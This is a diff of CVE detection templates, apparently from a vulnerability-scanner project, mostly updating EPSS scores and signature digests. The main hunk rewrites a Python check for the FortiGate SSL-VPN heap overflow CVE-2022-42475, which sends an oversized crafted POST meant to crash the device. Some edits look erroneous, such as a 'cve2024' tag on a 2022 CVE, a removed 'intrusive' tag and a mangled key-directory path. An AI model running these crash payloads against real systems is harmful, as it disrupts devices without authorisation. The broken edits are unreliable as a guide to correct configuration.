-# digest: 4a0a00473045022100e1c706dcb3294b34ee977683990f03e50aff9a491a44092127de07c098c344be022047a643cf994007b33760722195f43d177f8af559613e6c9e0e6795d1d40a7053:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205a1532426ed19347b452225a0f3488667f1fcc3b8a77ab0a198e1c9ab948864b02202941ac1caf800281019c229052467f74d03640a1dd9402e8222cd875a20143a7:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-0646
     cwe-id: CWE-91
-    epss-score: 0.99222
-    epss-percentile: 0.99935
+    epss-score: 0.93865
+    epss-percentile: 0.9986
     cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
   metadata:
     verified: true
@@ -106,4 +106,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4a0a0047304502206987d50162e5094e8395d966e0c9994bcc274759874a0abfbdbd63eac17971d40221008a5f294f8a7fe9c8119213710c3a31344aaab72da3a5317059d7ef5047e3b591:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022047e6c94723d8391e9af3fcf67272f7fe875ae0b7b5ca16be6a30cb5b26436bfb02207d3369bab78d5407e1c4036d03f43da265d5706bdfe4284c45131c20a74e7ba4:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -14,8 +14,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2020-13935
-    epss-score: 0.86608
-    epss-percentile: 0.99741
+    epss-score: 0.92155
+    epss-percentile: 0.99694
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -281,4 +281,4 @@ code:
       - type: dsl
         dsl:
           - "contains_all(stderr, 'read tcp', 'i/o timeout') && !contains(stderr, 'websocket: close 1002 (protocol error): An invalid WebSocket frame was received - the most significant bit of a 64-bit payload was illegally set')"
-# digest: 4a0a004730450220696297a8c200dce0b67dbde81631b9fba28969813b1eb1328ce0b283ab86e91c022100d9491149f8271b9f417b426cf07b99dc92804a61844c6e77fc073f1a51bf4336:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201cc078bbe522c2e7e65046d1f57942c4416e145f327b671423c69f8cee335a03022076c19957a2a9ac877638982a59b80c38c454d390ab213de628db7bffb7a402e9:62279eae9ebf191e34eae847adfdbab2

code/cves/2021/CVE-2021-3156.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.99962
-    epss-percentile: 0.99975
+    epss-score: 0.9246
+    epss-percentile: 0.99717
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -44,4 +44,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4a0a00473045022100f8b6b3dbad47f66af5e3a10b6ce02164ad35bc0683cdf1aefadc6bfb2107efc502205939d83ced077fdc70296b73e4c840a2fd2f1c2e4cb8fbb1dec6ff7b5953f9ee:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cf68bef267bf874af8eaf6585cf3edbd4abb727e174d71e6efa53ab8dec0cc33022100ce13c81d06a4a44c284daf7d8c381abc80db7b80f4cabda7fec16bb3286824fe:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -24,8 +24,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-42475
     cwe-id: CWE-197,CWE-787
-    epss-score: 0.99474
-    epss-percentile: 0.99943
+    epss-score: 0.94005
+    epss-percentile: 0.99885
     cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -38,8 +38,7 @@ info:
     fofa-query:
       - body="/remote/login" "xxxxxxxx"
       - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln
-
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()
 
 http:
@@ -65,226 +64,139 @@ code:
 
     source: |
         import sys, os, time, socket, ssl
-
         PADDING        = 0x4141414141414141
         PADDING_LEN    = 1024*12
         CONTENT_LENGTH = b"4294967297"
 
-        # Configuration for false positive prevention
-        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
-        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
-        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks
-
         class SSLVPNExploit:
           def __init__(self, host, port):
             self.host = host
             self.port = port
-            self.useSSL = os.getenv("Scheme") == "https"
-
-          def create_socket(self, timeout=2.0):
-            """Create a new socket connection"""
-            try:
-              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-              sock.settimeout(timeout)
-              if self.useSSL:
-                ctx = ssl._create_unverified_context()
-                sock = ctx.wrap_socket(sock)
-              sock.connect((self.host, self.port))
-              return sock
-            except Exception as e:
-              return None
-
-          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
-            """
-            Check if target is responsive with a simple GET request.
-            Returns: (success: bool, response_time: float)
-            """
-            try:
-              start_time = time.time()
-              sock = self.create_socket(timeout)
-              if sock is None:
-                return False, 0
-
-              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"
-
-              sock.sendall(get_req)
-              sock.settimeout(timeout)
-              response = sock.recv(4096)
-              elapsed = time.time() - start_time
-              sock.close()
-
-              return len(response) > 0, elapsed
-            except Exception as e:
-              return False, time.time() - start_time
-
-          def check_by_get(self):
-            """Pre-flight connectivity check"""
-            print("[>] Pre-flight connectivity check...")
-            success, elapsed = self.check_connectivity()
-            if success:
-              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
-              return True
+          def connect(self):
+            tries = 1
+            if os.getenv("Scheme") == "https":
+              useSSL = True
+              print("[+] Using SSL/TLS")
             else:
-              print("[!] Target is not responsive - cannot test")
-              return None
+              useSSL = False
+              print("[+] Unencrypted connection")
+            while tries <= 6:
+              try:
+                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                if useSSL == True:
+                  ctx = ssl._create_unverified_context()
+                  self.socket = ctx.wrap_socket(self.cleartext_socket)
+                else:
+                  self.socket = self.cleartext_socket
+                self.socket.settimeout(2.0)
+                self.socket.connect((self.host, self.port))
 
-          def send_exploit_payload(self):
-            """
-            Send the exploit payload and analyze the response.
-            Returns: (result_type: str, elapsed_time: float, details: str)
-            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
-            """
-            req = bytearray(b"")
-            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
-            req += b"\r\nContent-Length: " + CONTENT_LENGTH
-            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
-            req += b"AAAAAAAA" * PADDING_LEN
+                return self.socket
+              except socket.timeout as e:
+                tries += 1
+                print("Connection timeout!")
+                continue
+              except Exception as e:
+                print("Unknown error!")
+                print(e)
+                return None
+            return None
+          def check_by_get(self):
+            get_req = bytearray(b"")
+            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
 
+            print("[>] Sending GET first")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
             try:
-              sock = self.create_socket(timeout=10)
-              if sock is None:
-                return 'ERROR', 0, 'Could not connect'
+              self.socket.sendall(get_req)
 
-              start_time = time.time()
-              sock.sendall(req)
-              sock.settimeout(10)
-              buf = sock.recv(1048576)
-              elapsed = time.time() - start_time
-              sock.close()
+              self.socket.settimeout(10)
+              get_buf = self.socket.recv(1048576)
 
-              if len(buf) == 0:
-                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'
+              if len(get_buf) == 0:
+                print("Error while sending GET. Protocol mismatch?")
+                return None
+              self.socket.close()
+              return True
+            except socket.timeout as e:
+              print("[>] Target waited for more data.")
+              return False
 
-              if b"413" in buf or b"Request Entity Too Large" in buf:
-                return 'PATCHED', elapsed, 'Target returned 413 - patched'
-
-              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]
-
-            except socket.timeout:
-              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
             except Exception as e:
-              return 'CONNECTION_DROP', time.time() - start_time, str(e)
-
-          def post_exploit_connectivity_check(self):
-            """
-            Check if target is still responsive after exploit attempt.
-            This is the KEY differentiator between:
-            - Firewall/WAF drop (device still responsive)
-            - Actual crash (device unresponsive)
-
-            Returns: (responsive: bool, details: str)
-            """
-            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
-            time.sleep(POST_EXPLOIT_WAIT)
-
-            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
-              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
-              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
-              if success:
-                return True, f"Device responsive after {elapsed:.2f}s"
-              time.sleep(1)
-
-            return False, "Device unresponsive after multiple attempts"
+              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+              print(e)
+              return None
 
           def is_vulnerable(self):
-            """
-            Improved vulnerability detection with false positive prevention.
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA"*(PADDING_LEN)
 
-            Detection logic:
-            1. If target returns 413 -> PATCHED (not vulnerable)
-            2. If target times out waiting for data -> NOT VULNERABLE
-            3. If connection drops/empty response:
-               a. Check if device is still responsive
-               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
-               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
-            """
-            print("[>] Sending exploit payload...")
-            result, elapsed, details = self.send_exploit_payload()
+            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
 
-            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
-            print(f"[>] Details: {details[:100]}...")
+            try:
+              # Send the payload. Vuln instances will crash, severing the connection and
+              # causing an exception to be thrown here.
+              self.socket.sendall(req)
 
-            # Case 1: Target is patched (413 response)
-            if result == 'PATCHED':
-              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
-              return False
+              # If this read succeeds then the target is probably not vulnerable.
+              # If it times out, then it's also probably not vulnerable.
+              self.socket.settimeout(10)
+              buf = self.socket.recv(1048576)
 
-            # Case 2: Target waited for more data (timeout)
-            if result == 'TIMEOUT':
-              print("[+] Target waited for more data - NOT VULNERABLE")
-              return False
+              # If the remote end disconnects without an HTTP response then it's vulnerable.
+              if len(buf) == 0:
+                  return True
 
-            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
-            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
-              print("[!] Connection dropped or empty response - verifying if this is a false positive...")
+              # Check to see if it has the vendor patch applied
+              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                  print("[>] Target is patched.")
+                  return False # 100% confidence that it's not vulnerable.
 
-              # KEY FIX: Check if device is still responsive
-              responsive, check_details = self.post_exploit_connectivity_check()
-
-              if responsive:
-                # Device is still responsive = Firewall/WAF dropped the connection
-                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
-                print("[!] Device is still responsive after exploit attempt")
-                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
-                return False  # NOT VULNERABLE - false positive
-              else:
-                # Device is unresponsive = Possible crash
-                print(f"[+] Device appears to have crashed: {check_details}")
-                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
-                return True  # LIKELY VULNERABLE
-
-            # Case 4: Unexpected response
-            if result == 'UNEXPECTED':
-              print(f"[?] Unexpected response received - manual review needed")
-              print(f"[?] Response: {details}")
+              # Ok, something weird and unexpected happened.
+              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+              print("----- BEGIN RESPONSE -----")
+              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+              print("----- END RESPONSE -----")
+              self.socket.close()
               return None
 
-            # Case 5: Error
-            print(f"[!] Error during exploit: {details}")
-            return None
+            except socket.timeout as e:
+              print("[>] Target waited for more data. Not vulnerable.")
+              return False
+            except Exception as e:
+              print("[>] Target dropped the connection, which indicates a vulnerable device!")
+              print(e)
+              return True
 
         if __name__ == '__main__':
-          host = os.getenv("Host")
-          port = int(os.getenv("Port"))
-
-          print("=" * 60)
-          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
-          print("(With False Positive Prevention)")
-          print("=" * 60)
-          print(f"[*] Target: {host}:{port}")
-          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")
-
+          host=os.getenv("Host")
+          port=int(os.getenv("Port"))
           exploit = SSLVPNExploit(host, port)
-
-          # Step 1: Pre-flight connectivity check
           check = exploit.check_by_get()
-          if check != True:
-            print("[!] Pre-flight check failed - target unreachable")
-            exit(1)
 
-          # Step 2: Vulnerability check with false positive prevention
-          result = exploit.is_vulnerable()
+          if check == True:
+            result = exploit.is_vulnerable()
+            if result == None:
+              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+              exit(2)
 
-          if result == None:
-            print("[!] An error occurred testing for the vulnerability.")
-            print("[!] Is this even a FortiGate SSL-VPN?")
-            exit(2)
+            if result == True:
+              print("[+] Target appears to be VULNERABLE")
+              exit(0)
 
-          if result == True:
-            print("=" * 60)
-            print("[+] Target appears to be VULNERABLE")
-            print("[+] Device became unresponsive after exploit payload")
-            print("=" * 60)
-            exit(0)
-          else:
-            print("=" * 60)
-            print("[+] Target is NOT vulnerable")
-            print("=" * 60)
-            exit(1)
+            else:
+              print("[+] Target is NOT vulnerable")
+              exit(1)
 
     matchers:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 4a0a00473045022100d8303a34225defa7b3e1a4f92c0465c9388f259e9ea7186311aa082b7714de6402200821c12a61e3f63c1124ebe72b00e885809f24cd161c28999d1c35b358377dd7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b1d6c98e5bfe8e9c1148cabd2c587c079c78e2cf5620290daab2d53e25b8e0f5022100d760d713e1f2de8512fdf6ab34a7d804ef54c0e90502d01810e8a770ad20a98b:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
-    epss-score: 0.15199
-    epss-percentile: 0.96774
+    epss-score: 0.91622
+    epss-percentile: 0.99659
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a00473045022100cd96a64ac54df3985e5f2779c375dac514866c370f307e72bc22fd68ff5fc7090220621776ff617fbc2e7accec3d686fa982af3be70376fad8a61e24983373884a28:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036f53f6f1da2e88e2ffdf8327dd423086baf9a6a9bd2d8e63a447744bcba6bd4022100e98211341607b3aa60fa83717f9502a6330d22dbd56bb100c552b270c6eaf52b:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -20,8 +20,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.42544
-    epss-percentile: 0.98716
+    epss-score: 0.92255
+    epss-percentile: 0.99704
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -630,4 +630,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4b0a00483046022100a96228180c01c6b296cbfb997f594402079adc5f08044bfa51236107344633b302210093a335d21694953e9dd51cd88cbeae2a4cd643741a9a5e2e2fbed9e5fbaee30a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b8334143d2737742b1246dfd20e66ce67eda5e71c7e0b83465151be2f5298da702202b2f0920c4ee7aee513db1e58027f5ce51b45c12a7b9cddf0e149f9e45033ac5:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
-    epss-score: 0.4319
-    epss-percentile: 0.98733
+    epss-score: 0.89605
+    epss-percentile: 0.99534
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -33,7 +33,7 @@ info:
       - http.title:"owncloud"
     fofa-query: title="owncloud"
     google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
 variables:
   username: admin
 
@@ -94,4 +94,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4b0a00483046022100d8f1ba2a5830f2e7eb257beb9ef9ec95dd4d08ea44ea6a079570b45de9677dcd022100a69eca817071ea7a51352224ff026e05fa7301d6d2b7f3a5ed34f9b8ac109e25:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b63b618d5b79bf9348a674539fa3c440794a62aba7d6a4e82e67883f14d61c31022100a6763f4a594087ced27aa62694692fc9cf5b0fa553edacecc991ce8fb1ca8dc4:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.63769
-    epss-percentile: 0.99226
+    epss-score: 0.69791
+    epss-percentile: 0.98608
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022012bd189b9a1cf2a2b95a2676d46835a342410a149ac661650e9a7b5a501e9582022100d7b21e9e39546c78fda0fe46ea0868dc8040ee3c9058be05a03b4dafc41ea068:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220692d91239d4d8d90398523ed32a09e20eaadb1a26b3c8b627c23f324ea17238b022100c283b35e540a3c1071d51c5d39983e4d97c63cf6549f73fee8e056fbf64d0faf:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.04794
-    epss-percentile: 0.92003
+    epss-score: 0.24316
+    epss-percentile: 0.95911
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 490a0046304402201214cb34cd061f730421d040d8f54280f290b93dcade3c9cfbc594ecff67b818022069413cf756133386514ecd1c393f62cbb97b083a97bc94c7769bcc7119a8776c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d47d39332ccbb47f3af344287706f98f7ff668b94581efa73778623827c7cf1a022100ace85668470d93aa510c25544cd66dff09df8f2b4af581eecf1c7d0c869e27e5:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.28525
-    epss-percentile: 0.98145
+    epss-score: 0.70846
+    epss-percentile: 0.98649
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -58,4 +58,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4b0a00483046022100ff6dac8766660391af67c573da70c95a2b554dee5cba0c7acae2787ed932826d022100f723b282ac57588425ba5c589c677ac8542527d5bf42c530400a9e4dc8c32b3a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d10464d4e2151dbfa2d289f623d4d1ec505347ac08da3a7655daced02b23b9e4022028d51e5ca6a059d57d2d24ba619c409dbe388d21eb39e7625e9ef4970250566b:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
-    epss-score: 0.87432
-    epss-percentile: 0.99758
+    epss-score: 0.93687
+    epss-percentile: 0.99836
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4a0a00473045022012aad26b17b7d701519b30081ed555fc8f768cecc2c4eccca9964a9c02a4e205022100e7da17fa8eefe48cdf6d1ecfca3e393ba6d63983624eaf32e24ac80553f67c82:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e56e930f8a6a5608d5b7ebbcd2cbe5304b5d434a2dc99dfa1a05a0f590569bae02204fc7f2b18bee44e3409d2ae3965f7bdca24195849b8c502e19bec2e2274b0ee4:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
-    epss-score: 0.76618
-    epss-percentile: 0.99546
+    epss-score: 0.93259
+    epss-percentile: 0.99792
   metadata:
     max-request: 1
     vendor: zabbix
@@ -73,4 +73,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a00483046022100974267b7102d5d734c8d82fbce57b5c0c9a0643159a57608245b2ca8695a6a96022100ebfbac6bf943675bce99c9f46da934487cddf6bac5dc2cad50405990e417656c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220718d5807505f6031d8b84168dcfe7cc45843b11233283c1405307e2731058c020221008c26a2fad1990c712b921a8ed6ef3b3f9f1637e3948f2e37a307e97e20c3d401:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.909
-    epss-percentile: 0.99807
+    epss-score: 0.85995
+    epss-percentile: 0.99363
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -63,4 +63,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 490a0046304402201974ed80358079eb51a0f9142de525fc6f0fa11b831eb7e025152a4116250912022071e15d76d3f080c5c3d3aaa6b30ccbb3e0a61ba60c26f12e3d546a795aaf233a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022011ba130597272a1f01d40059e63d8a16b46bc06e24e6f9d0629e6e0803a3470202205b579761d35007cd3c1874341fed58f8cb1fcfa1ead7f276e21b9b47731fc542:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -14,8 +14,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
-    epss-score: 0.03237
-    epss-percentile: 0.88373
+    epss-score: 0.17039
+    epss-percentile: 0.94765
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
   tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 4a0a00473045022071ae02fb14e05c20db5f137622059d80c4eb4a554ba2bc168b7d6a8a0dff279e022100e361ca5c720c45239ac73baff7f2b9444b78c09f3b61b525c1576f5e54041cb1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022020eb35ee5730cf8da3c8050ef1581e0970a3ca4ef807e7eec49175cd65a42193022100ce53acfb0b86e9f329590ce4d0f0c4b7f8fd63d3b35aac95adede7e80f7921b9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,8 +20,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
-    epss-score: 0.12454
-    epss-percentile: 0.96245
+    epss-score: 0.4139
+    epss-percentile: 0.97279
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4b0a00483046022100d403330da35ab9fa2c1219919a48d42169d1b1b06f7a2ffd57c6a6b8b20fff3d0221009f4992bd4c93eae06d4d26f5ae61016ade50f46ccd55a1155e35e318358cd677:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201e26dada23f83f5dcb1b94d5b11872f8eda958368abf1a31cfe07b7d8601fab002206e7b6941151407aa59bad47d954962658e10dd3bfeb052af4751a0189d48eb63:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-47575.yaml

@@ -19,15 +19,15 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-47575
     cwe-id: CWE-306
-    epss-score: 0.94766
+    epss-score: 0.93846
     epss-percentile: 0.99858
-    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
-  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
+    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
 
 variables:
   HOST: "{{Host}}"
   PORT: "{{Port}}"
-  keysDir: "helpers/payloads/cve-2024-47575-keys"
+  keysDir: "helpers/payloads/cve-2024-475759-keys"
 
 code:
   - engine:
@@ -147,4 +147,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a00473045022018449b2bb4d73699afb706451d74784f6a22ce145681e197b4bd582731ee2e9e022100923e5e1d911ffca36315a9293b356fa5e30e869eb945bdf4f7f81b11badbcfc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022032f3230542d14dc46c0aebc7112a6201f641d05a226341c071220bf8a6b42e3d02210086fb609bdbb427b96bebb1f35d49c2f3eabf6154696f8d22adb0eabf8c271a24:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.43906
-    epss-percentile: 0.98758
+    epss-score: 0.8111
+    epss-percentile: 0.99117
   metadata:
     verified: true
     max-request: 2
@@ -195,4 +195,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a0047304502200690435264658bbbcb70ebfebfca0489998ce280d135dd0f5aa80613570c3c4202210089c09ca3fec9ea87a4597b5c813599d8bd50217d0373bf97783db519957b67ef:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f9ca193531db5fb80cf8eebc4024385a95d53372a9c33c28718eba5be33876460220635671b10ea921eaa0addf3bd4b5be4cf15dd71dbf8f69e53cb8472928fa6507:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
-    epss-score: 0.01845
-    epss-percentile: 0.79198
+    epss-score: 0.41406
+    epss-percentile: 0.97281
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 490a0046304402203c371213090bf45e887f1380a465c0302c91eaefded738c6b2a3ce8d6a63d61902205b722be19cbc2485dc54c9c38c50b5405f4fd7490e8d0690c8adcb02f96b5351:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009d8591a5d286b028df98dfae288025e119c1aaadcd24cdb3ee71a669c317a763022100c6a416ddcfd2fc4ec9415a2776effa4cd62bf0f6a1556ab1258d6aba9e4cd8eb:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -14,8 +14,8 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.25607
-    epss-percentile: 0.97972
